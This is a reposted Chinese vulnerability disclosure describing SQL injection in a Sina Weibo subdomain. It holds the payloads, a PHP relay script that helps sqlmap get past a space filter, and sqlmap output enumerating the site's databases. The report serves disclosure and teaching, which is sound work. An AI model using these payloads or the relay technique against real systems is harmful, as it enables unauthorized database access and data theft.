神刀安全网

漏洞标题: 新浪微博某分站修复不完善继续SQL注入(中转注入技巧)

漏洞详情

披露状态:

2016-04-05: 细节已通知厂商并且等待厂商处理中
2016-04-05: 厂商已经确认,细节仅向厂商公开
2016-04-15: 细节向核心白帽子及相关领域专家公开
2016-04-25: 细节向普通白帽子公开
2016-05-05: 细节向实习白帽子公开
2016-05-20: 细节向公众公开

简要描述:

RT

详细说明:

URL:http://xueyuan.weibo.com/course/index?key_word=1

key_word参数存在注入

http://xueyuan.weibo.com/course/index?key_word=1%'and'%'='

正常

http://xueyuan.weibo.com/course/index?key_word=1%'and'%'='1

异常

过滤了空格

SQLMAP 加入space2comment tamper后 只识别出time盲注 竟然没有识别出bool盲注

定义–string关键字 添加前后缀 等依然不行

真是日了狗了,于是php写个中转脚本

code 区域
<?php
$uri = "http://xueyuan.weibo.com/course/index?key_word=$_GET[key_word]";
$header = array();
$ch = curl_init ();
curl_setopt ( $ch, CURLOPT_URL, $uri );
//curl_setopt ( $ch, CURLOPT_POST, 1 );
curl_setopt ( $ch, CURLOPT_HEADER, 1 );
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 );
//curl_setopt ( $ch, CURLOPT_POSTFIELDS, $data );
curl_setopt($ch,CURLOPT_HTTPHEADER,$header);
curl_setopt($ch,CURLOPT_COOKIE,'登录cookie');
$return = curl_exec ( $ch );
curl_close ( $ch );
if(strstr($return,'courseid=345'))
{echo '1111';}
else
{echo '0';}
?>

然后再次测试sqlmap成功

code 区域
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: key_word
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: key_word=1%' AND 9902=9902 AND '%'='

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: key_word=1%' AND SLEEP(5) AND '%'='
---
[15:33:26] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[15:33:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.2.22, PHP 5.4.41
back-end DBMS: MySQL 5.0.11
[15:33:26] [INFO] fetching database names
[15:33:26] [INFO] fetching number of databases
[15:33:26] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[15:33:26] [INFO] retrieved: 3
[15:33:27] [INFO] retrieved: information_schema
[15:33:48] [INFO] retrieved: eps_daxue
[15:34:00] [INFO] retrieved: test
available databases [3]:
[*] eps_daxue
[*] information_schema
[*] test

漏洞证明:

已证明

修复方案:

过滤

版权声明:转载请注明来源 蓝冰@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 新浪微博某分站修复不完善继续SQL注入(中转注入技巧)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址